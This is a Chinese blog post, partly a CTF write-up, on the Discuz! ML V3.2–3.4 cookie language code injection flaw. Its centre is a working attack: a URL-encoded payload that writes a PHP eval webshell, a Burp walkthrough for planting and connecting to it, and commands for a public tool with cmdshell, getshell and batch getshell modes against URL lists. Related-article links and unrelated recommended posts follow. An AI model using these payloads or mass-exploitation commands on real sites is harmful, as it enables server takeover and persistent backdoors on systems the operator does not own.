1、漏洞描述

Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。

2、产生原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。

3、影响版本:

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

4、利用exp,进行上传一句话木马

1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE

2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'

3.getshell 的payload:   ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).',url编码后的形式是

%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

所以我们可以考虑使用bur抓包改包,上传一句话木马,get shell

5、利用dz-ml-rce.py工具进行分析。本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。

6、如何下载dz-ml-rce.py工具

在python2.7的环境中安装,安装命令如下:

git clone https://github.com/theLSA/discuz-ml-rce.git
pip -r requirements.txt

7、如何使用dz-ml-rce.py工具

使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报。

使用帮助:python dz-ml-rce.py -h

判断模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"

cmdshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

getshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

批量检测:python dz-ml-rce.py -f urls.txt

批量getshell:python dz-ml-rce.py -f urls.txt --getshell

8、实战分析:

当我们进入这个网址后,可以发现它的cms类型是Discuz! X3.2,这是一个比较老的版本,我们可以去乌云,0组查看相关思路文章,发现比较少

于是我们去百度中搜索这个Discuz! X3.2的漏洞可以get shell,所以这道题目考察的一定是cms的漏洞

而我们去网上查的话,有很多的漏洞,比如构建的请求报文,请求报文中含有恶意的PHP代码,任意删除文件,代码注入漏洞等多种漏洞

本网站我所利用的是构建的请求报文,请求报文中含有恶意的PHP代码这一漏洞,也就是Discuz ML RCE漏洞,后面又一篇文章专门写此漏洞

所以我们可以知道它存在cms漏洞:Discuz! X3.2 漏洞 中的 构建的请求报文(恶意的PHP代码,一句话木马)漏洞

所以这个题我们可以考虑使用bur抓包改包,上传一句话木马,get shell

我们对bur进行抓包:

抓包后我们可以发现在cookie字段中有xxxx_xxxx_language字段,所以我们对其进行改包

先看phpinfo文件,看是否存在相关漏洞(验证)

发现存在相关漏洞,所以我们直接上传一句话木马,构造的形式如下:

%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

我们直接在网页上查看shell.php文件,看是否可以正常显示

我们使用蚁剑进行连接

连接成功:

最终我们就可以发现flag的文件,也就是此题的答案

flag就在其中,打开之后就是答案,也就是flag,flag{49c883689da71363809d64b8b48679ba}

此题完成

Discuz ML RCE漏洞的更多相关文章

  1. Discuz! ML RCE漏洞 getshell 复现

    0x01 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 0x02 环境搭建 直接官网下载即可http://discuz.ml/downloa ...

  2. Discuz ML! V3.X 代码注入漏洞

    Discuz ML! V3.X 代码注入漏洞 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像"社交网络"这样的互 ...

  3. Discuz! ML远程代码执行(CVE-2019-13956)

    Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...

  4. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  5. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  6. Zimbra无需登录RCE漏洞利用

    2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...

  7. WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞

    该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...

  8. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  9. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

随机推荐

  1. 深度学习的优化器(各类 optimizer 的原理、优缺点及数学推导)

    深度学习优化器 深度学习中的优化器均采用了梯度下降的方式进行优化,所谓炼丹我觉得优化器可以当作灶,它控制着火量的大小.形式与时间等. 初级的优化器 首先我们来一下看最初级的灶台(100 - 1000 ...

  2. cURL命令使用指南

    cURL是什么 curl是Linux命令行工具,可以使用任何可支持的协议(如HTTP.FTP.IMAP.POP3.SCP.SFTP.SMTP.TFTP.TELNET.LDAP或FILE)在服务器之间传 ...

  3. 35、mysql数据库(ddl)

    35.1.数据库之库操作: 1.创建数据库(在磁盘上创建一个对应的文件夹): create database [if not exists] db_name [character set xxx]; ...

  4. 12、创建mysql用户及赋予用户权限

    1.通过help命令查看grant的用法: CREATE USER 'jeffrey'@'localhost' IDENTIFIED BY 'password'; GRANT ALL ON db1.* ...

  5. xf浅谈_最短路

    最短路问题(short-path problem):最短路问题是图论研究中的一个经典算法问题,指在寻找图(由结点和路径组成的)中两结点之间的最短路径.算法具体的形式包括: 1.确定起点的最短路径问题 ...

  6. 洞悉Redis技术内幕:缓存,数据结构,并发,集群与算法

    "为什么这个功能用不了?" 程序员:"清一下缓存" 上篇洞悉系列文章给大家详细介绍了MySQL的存储内幕:洞悉MySQL底层架构:游走在缓冲与磁盘之间.既然聊过 ...

  7. WebService:java配置类形式发布WebService接口及遇见的问题总结

    配置WebService前需要以下依赖jar包 #版本只供参考,具体看项目 <dependency> <grouId>org.apache.cxf</grouId> ...

  8. gitlab hostname修改

    cd /var/opt/gitlab/gitlab-rails/etc vim gitlab.yml /home/git/gitlab/config/gitlab.yml production: &a ...

  9. Leetcode No.26 Remove Duplicates from Sorted Array(c++实现)

    1. 题目 1.1 英文题目 Given an integer array nums sorted in non-decreasing order, remove the duplicates in- ...

  10. Mysql-5.7.28 Windows安装

    1.下载mysql-5.7.28-winx64社区版并解压 2.解压后配置环境变量 3.my.ini配置文件及初始化mysql命令 4.登录mysql 每次windows安装mysql时都需要百度,自 ...